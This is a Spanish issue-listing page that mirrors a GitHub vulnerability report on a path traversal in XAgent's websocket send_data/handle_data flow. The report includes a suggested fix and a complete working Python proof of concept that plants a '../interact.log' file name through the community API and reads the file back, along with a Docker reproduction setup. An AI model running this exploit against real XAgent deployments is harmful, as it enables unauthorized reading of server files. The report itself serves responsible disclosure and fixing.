Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

[Vulnerability] Path Traversal in /ws/base endpoint

Abierto
#437 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
3/5
Tiempo estimado
1-2 días
Aptitud para principiantes
72/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Activo
Stack tecnológico
python
Área
api, backend, security

Línea de trabajo

Comienza en XAgentServer/application/websockets/common.py, en handle_data(), y luego sigue su llamador MainServer.send_data() en XAgentServer/application/websockets/base.py. Ejecuta community_ws_poc.py con la configuración de Docker proporcionada para reproducir la lectura fuera del workspace. El trabajo estará terminado cuando las rutas de traversal ya no devuelvan contenido de archivos, mientras que las salidas válidas de imágenes del workspace sigan funcionando.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

bug

Vulnerability report: XAgent path traversal

Affected product

Vendor: OpenBMB

Product: XAgent

Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py

Version: 3619c25855f878481ddb893709c1e30d76aff794

Vulnerability summary

MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.

The vulnerable function call chain is:

MainServer.send_data()
  -> handle_data()

The vulnerable data flow is:

send_data function:
  InteractionCRUD.get_next_send
  -> rows
  -> row

handle_data function:
  row
  -> row.data
  -> data["using_tools"]
  -> using_tools["tool_output"]
  -> tool_output
  -> output
  -> output["file_name"]
  -> file_name
  -> file_path

An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().

The vulnerable code is in
XAgentServer/application/websockets/common.py:

file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
    try:
        with open(file_path, "rb") as f:
            png_base64 = base64.b64encode(
                f.read()).decode("utf-8")
    except Exception:
        pass

Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.

Suggested fix

Add a security check in handle_data function. Code snippet:

for output in tool_output:
    ...
    workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
    file_path = os.path.realpath(os.path.join(workspace, file_name))
    if not file_path.startswith(workspace + os.sep):
        print("path traversal detected !")
        continue

POC

Prerequisites:

The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.

cd your-path-to/XAgent

Step 1: Start XAgent and the required databases.

sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  up -d

Check that the services are running:

sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  ps

Expected important services:

xagentrepro-XAgentServer-1        Up
xagentrepro-xagent-mysql-1        healthy
xagentrepro-xagent-redis-1        healthy

The backend listens on:

http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}

Step 2: Send the PoC payload through the community API and trigger send_data().

python3 your-path-to/poc/community_ws_poc.py

The script performs both actions:

POST /conv/community
  -> inserts a crafted interaction and Raw record into MySQL through the HTTP API

websocket /ws/base/{interaction_id}
  -> sends a normal type=data message
  -> starts the scheduler
  -> triggers send_data()
  -> send_data() fetches the malicious Raw row
  -> handle_data() reads workspace/../interact.log

The crafted Raw record contains:

{
  "data": {
    "using_tools": {
      "tool_name": "PythonNotebook_execute_cell",
      "tool_output": [
        {
          "file_name": "../interact.log"
        }
      ]
    }
  },
  "include_pictures": true,
  "is_send": false
}

Successful output contains:

community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-... 
poc_success True

read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.

reference related files

The PoC files are listed below:

  • community_ws_poc.py
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile

import requests
import websockets


BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"


def make_empty_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
        pass
    buf.seek(0)
    return buf


def insert_via_community():
    interaction_id = uuid.uuid4().hex
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    malicious_node = uuid.uuid4().hex
    finish_node = uuid.uuid4().hex

    interaction = {
        "interaction_id": interaction_id,
        "user_id": USER,
        "create_time": now,
        "update_time": now,
        "description": "community-poc",
        "agent": "",
        "mode": "manual",
        "file_list": [],
        "recorder_root_dir": "",
        "status": "ready",
        "message": "ready...",
        "current_step": "-1",
        "is_deleted": False,
        "call_method": "web",
    }
    raws = [
        {
            "node_id": malicious_node,
            "interaction_id": interaction_id,
            "current": "community-poc",
            "step": 0,
            "data": {
                "using_tools": {
                    "tool_name": "PythonNotebook_execute_cell",
                    "tool_input": "{}",
                    "tool_output": [{"file_name": "../interact.log"}],
                    "tool_status_code": "TOOL_CALL_SUCCESS",
                }
            },
            "file_list": [],
            "status": "inner",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": True,
        },
        {
            "node_id": finish_node,
            "interaction_id": interaction_id,
            "current": "finish",
            "step": 1,
            "data": {"done": True},
            "file_list": [],
            "status": "finished",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": False,
        },
    ]

    z = make_empty_zip()
    resp = requests.post(
        BASE + "/conv/community",
        data={
            "user_id": USER,
            "token": TOKEN,
            "user_name": "guest",
            "interaction": json.dumps(interaction),
            "raws": json.dumps(raws),
        },
        files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
        timeout=20,
    )
    print("community_status", resp.status_code, resp.text)
    resp.raise_for_status()
    print("interaction_id", interaction_id)
    print("malicious_node", malicious_node)
    return interaction_id


async def trigger_ws(interaction_id):
    url = (
        f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
        f"?user_id={USER}&token={TOKEN}&description=community-poc"
    )
    async with websockets.connect(url, ping_interval=None) as ws:
        first = await ws.recv()
        print("ws_first", first[:500])
        await ws.send(
            json.dumps(
                {
                    "type": "data",
                    "args": {"goal": "trigger send_data only"},
                    "agent": "",
                    "mode": "manual",
                    "file_list": [],
                }
            )
        )
        deadline = time.time() + 20
        while time.time() < deadline:
            msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
            print("ws_msg", msg)
            obj = json.loads(msg)
            outputs = (
                ((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
                or []
            )
            if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
                decoded = base64.b64decode(outputs[0]["file_data"]).decode(
                    errors="replace"
                )
                print("read_content:", decoded[:300])
                print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
                return
        print("poc_success", False)


if __name__ == "__main__":
    iid = insert_via_community()
    asyncio.run(trigger_ws(iid))

  • xagent-compose-repro.yml
services:
  ToolServerManager:
    image: xagentteam/toolserver-manager:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerManager/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config
      - /var/run/docker.sock:/var/run/docker.sock
    environment:
      DB_HOST: db
      DB_PORT: 27017
      DB_USERNAME: admin
      DB_PASSWORD: xagentmongodb
      DB_COLLECTION: TSM
    depends_on:
      - db
    command: ["--workers", "2", "-t", "600"]

  ToolServerNode:
    image: xagentteam/toolserver-node:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerNode/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config

  db:
    image: mongo
    volumes:
      - xagentmongodb:/data/db
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
    logging:
      driver: "none"

  XAgentServer:
    image: xagentteam/xagent-server:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/XAgentServer/Dockerfile
    env_file:
      - your-path-to/XAgent/.env
    environment:
      - TOOLSERVER_URL=http://ToolServerManager:8080
      - MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
      - REDIS_HOST=xagent-redis
    volumes:
      - your-path-to/XAgent/assets:/app/assets:ro
    ports:
      - "5173:5173"
      - "8090:8090"
    depends_on:
      xagent-mysql:
        condition: service_healthy
      xagent-redis:
        condition: service_healthy

  xagent-mysql:
    image: mysql:8.0
    command:
      - --default-authentication-plugin=caching_sha2_password
      - --character-set-server=utf8mb4
      - --collation-server=utf8mb4_unicode_ci
    environment:
      MYSQL_ROOT_PASSWORD: xagent
    volumes:
      - your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
    healthcheck:
      test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
      timeout: 20s
      retries: 20

  xagent-redis:
    image: redis
    command: redis-server --requirepass xagent
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 20

volumes:
  xagentmongodb:
  toolserverconfig:
    name: xagentrepro_toolserverconfig
    driver: local
    driver_opts:
      type: none
      device: your-path-to/XAgent/assets/config
      o: bind

networks:
  default:
    name: xagent-repro-network
    driver: bridge

Lenguaje dominante
Python
Estrellas
8.5k
Forks
905
Métricas de merge de PR
Sin PR fusionados en 30 d

Preparar el entorno

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de OpenBMB/XAgent

Todos los issues de OpenBMB/XAgent

Issues similares

Más issues de Python

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.